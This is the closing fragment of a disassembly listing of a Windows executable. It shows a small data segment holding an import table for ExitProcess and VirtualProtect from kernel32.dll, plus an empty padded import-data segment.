
; Segment type:	Pure data
; Segment permissions: Read/Write
DMN2		segment	para public 'DATA' use32
		assume cs:DMN2
		;org 46F000h
		dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h
		dd 506C6175h, 65746F72h, 0B5007463h, 9A77E75Ch,	77E616h
		dd 6B000000h, 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0)
		dd 0FFFFFFFFh, 6F02Bh, 6F01Fh, 5 dup(0)
		dd 6E000h, 10h,	3DECh, 3 dup(0)
DMN2		ends

; Section 4. (virtual address 00070000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0006F200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 470000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start